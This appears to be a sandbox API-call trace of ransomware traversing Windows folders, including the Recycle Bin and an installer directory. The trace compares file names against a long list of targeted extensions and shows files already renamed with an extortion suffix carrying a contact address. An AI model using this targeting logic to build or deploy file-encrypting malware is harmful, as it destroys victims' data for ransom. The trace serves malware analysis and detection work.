	[0070.285] lstrlenW (lpString=".md") returned 3
	[0070.285] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.285] lstrlenW (lpString=".mda") returned 4
	[0070.285] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mdb") returned 4
	[0070.285] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mde") returned 4
	[0070.285] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mdf") returned 4
	[0070.285] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mdw") returned 4
	[0070.285] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mef") returned 4
	[0070.285] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mft") returned 4
	[0070.285] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mfw") returned 4
	[0070.285] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mht") returned 4
	[0070.285] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.285] lstrlenW (lpString=".mhtml") returned 6
	[0070.286] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mka") returned 4
	[0070.286] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mkidx") returned 6
	[0070.286] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mkv") returned 4
	[0070.286] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mos") returned 4
	[0070.286] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mov") returned 4
	[0070.286] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mp3") returned 4
	[0070.286] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mp4") returned 4
	[0070.286] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mpeg") returned 5
	[0070.286] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mpg") returned 4
	[0070.286] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mpv") returned 4
	[0070.286] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mrw") returned 4
	[0070.286] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".msg") returned 4
	[0070.286] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.286] lstrlenW (lpString=".mxl") returned 4
	[0070.287] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.287] lstrlenW (lpString=".myd") returned 4
	[0070.287] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.287] lstrlenW (lpString=".myi") returned 4
	[0070.287] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.287] lstrlenW (lpString=".nef") returned 4
	[0070.383] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.383] lstrlenW (lpString=".nrw") returned 4
	[0070.384] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".obj") returned 4
	[0070.384] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".odb") returned 4
	[0070.384] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".odc") returned 4
	[0070.384] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".odm") returned 4
	[0070.384] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".odp") returned 4
	[0070.384] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".ods") returned 4
	[0070.384] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".oft") returned 4
	[0070.384] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".one") returned 4
	[0070.384] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".onepkg") returned 7
	[0070.384] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.384] lstrlenW (lpString=".onetoc2") returned 8
	[0070.384] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.384] lstrlenW (lpString=".opt") returned 4
	[0070.384] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".oqy") returned 4
	[0070.384] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".orf") returned 4
	[0070.384] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".p12") returned 4
	[0070.384] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.384] lstrlenW (lpString=".p7b") returned 4
	[0070.384] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".p7c") returned 4
	[0070.385] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pam") returned 4
	[0070.385] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pbm") returned 4
	[0070.385] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pct") returned 4
	[0070.385] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pcx") returned 4
	[0070.385] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pdd") returned 4
	[0070.385] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pdf") returned 4
	[0070.385] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pdp") returned 4
	[0070.385] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pef") returned 4
	[0070.385] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pem") returned 4
	[0070.385] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pff") returned 4
	[0070.385] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pfm") returned 4
	[0070.385] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pfx") returned 4
	[0070.385] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".pgm") returned 4
	[0070.385] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".php") returned 4
	[0070.385] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.385] lstrlenW (lpString=".php3") returned 5
	[0070.385] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.385] lstrlenW (lpString=".php4") returned 5
	[0070.385] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.385] lstrlenW (lpString=".php5") returned 5
	[0070.385] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.385] lstrlenW (lpString=".phtml") returned 6
	[0070.386] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pict") returned 5
	[0070.386] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pl") returned 3
	[0070.386] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.386] lstrlenW (lpString=".pls") returned 4
	[0070.386] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pm") returned 3
	[0070.386] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.386] lstrlenW (lpString=".png") returned 4
	[0070.386] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pnm") returned 4
	[0070.386] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pot") returned 4
	[0070.386] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".potm") returned 5
	[0070.386] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.386] lstrlenW (lpString=".potx") returned 5
	[0070.386] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0070.386] lstrlenW (lpString=".ppa") returned 4
	[0070.386] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".ppam") returned 5
	[0070.386] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.386] lstrlenW (lpString=".ppm") returned 4
	[0070.386] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pps") returned 4
	[0070.386] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".ppsm") returned 5
	[0070.386] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.386] lstrlenW (lpString=".ppt") returned 4
	[0070.386] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pptm") returned 5
	[0070.386] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.386] lstrlenW (lpString=".pptx") returned 5
	[0070.386] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.387] lstrlenW (lpString=".prn") returned 4
	[0070.387] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".ps") returned 3
	[0070.387] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.387] lstrlenW (lpString=".psb") returned 4
	[0070.387] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".psd") returned 4
	[0070.387] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".pst") returned 4
	[0070.387] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".ptx") returned 4
	[0070.387] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".pub") returned 4
	[0070.387] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".pwm") returned 4
	[0070.387] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".pxr") returned 4
	[0070.387] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0070.387] lstrlenW (lpString=".py") returned 3
	[0070.387] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0070.387] lstrlenW (lpString=".qt") returned 3
	[0070.387] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0070.387] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34aad192, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34aad192, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e8cec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 0
	[0070.387] FindClose (in: hFindFile=0x3121790 | out: hFindFile=0x3121790) returned 1
	[0070.387] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.387] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0070.387] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.387] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121790
	[0070.388] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.388] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 1
	[0070.388] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 0
	[0070.388] FindClose (in: hFindFile=0x3121790 | out: hFindFile=0x3121790) returned 1
	[0070.388] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.388] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0070.388] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0070.388] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0070.389] FindNextFileW (in: hFindFile=0x3121350, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0070.389] FindNextFileW (in: hFindFile=0x3121350, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0070.389] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0070.389] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1
	[0070.389] lstrlenW (lpString="588bce7c90097ed212") returned 18
	[0070.389] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1
	[0070.389] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d40048
	[0070.390] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0070.390] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x31211d0
	[0070.390] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0070.390] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0070.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0070.390] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0070.390] lstrlenW (lpString="1025") returned 4
	[0070.390] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0070.390] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0070.390] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121310
	[0070.390] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.390] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34cc47cc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.390] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0070.390] lstrlenW (lpString=".1cd") returned 4
	[0070.390] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.390] lstrlenW (lpString=".3ds") returned 4
	[0070.390] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.390] lstrlenW (lpString=".3fr") returned 4
	[0070.390] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.390] lstrlenW (lpString=".3g2") returned 4
	[0070.390] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".3gp") returned 4
	[0070.391] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".7z") returned 3
	[0070.391] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.391] lstrlenW (lpString=".accda") returned 6
	[0070.391] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.391] lstrlenW (lpString=".accdb") returned 6
	[0070.391] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.391] lstrlenW (lpString=".accdc") returned 6
	[0070.391] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.391] lstrlenW (lpString=".accde") returned 6
	[0070.391] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.391] lstrlenW (lpString=".accdt") returned 6
	[0070.391] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.391] lstrlenW (lpString=".accdw") returned 6
	[0070.391] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.391] lstrlenW (lpString=".adb") returned 4
	[0070.391] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".adp") returned 4
	[0070.391] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".ai") returned 3
	[0070.391] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.391] lstrlenW (lpString=".ai3") returned 4
	[0070.391] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".ai4") returned 4
	[0070.391] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".ai5") returned 4
	[0070.391] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".ai6") returned 4
	[0070.391] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".ai7") returned 4
	[0070.391] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".ai8") returned 4
	[0070.391] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.391] lstrlenW (lpString=".anim") returned 5
	[0070.392] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.392] lstrlenW (lpString=".arw") returned 4
	[0070.392] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".as") returned 3
	[0070.392] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.392] lstrlenW (lpString=".asa") returned 4
	[0070.392] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".asc") returned 4
	[0070.392] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".ascx") returned 5
	[0070.392] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.392] lstrlenW (lpString=".asm") returned 4
	[0070.392] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".asmx") returned 5
	[0070.392] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.392] lstrlenW (lpString=".asp") returned 4
	[0070.392] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".aspx") returned 5
	[0070.392] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.392] lstrlenW (lpString=".asr") returned 4
	[0070.392] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".asx") returned 4
	[0070.392] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".avi") returned 4
	[0070.392] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".avs") returned 4
	[0070.392] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".backup") returned 7
	[0070.392] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.392] lstrlenW (lpString=".bak") returned 4
	[0070.392] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".bay") returned 4
	[0070.392] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.392] lstrlenW (lpString=".bd") returned 3
	[0070.392] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.392] lstrlenW (lpString=".bin") returned 4
	[0070.393] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".bmp") returned 4
	[0070.393] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".bz2") returned 4
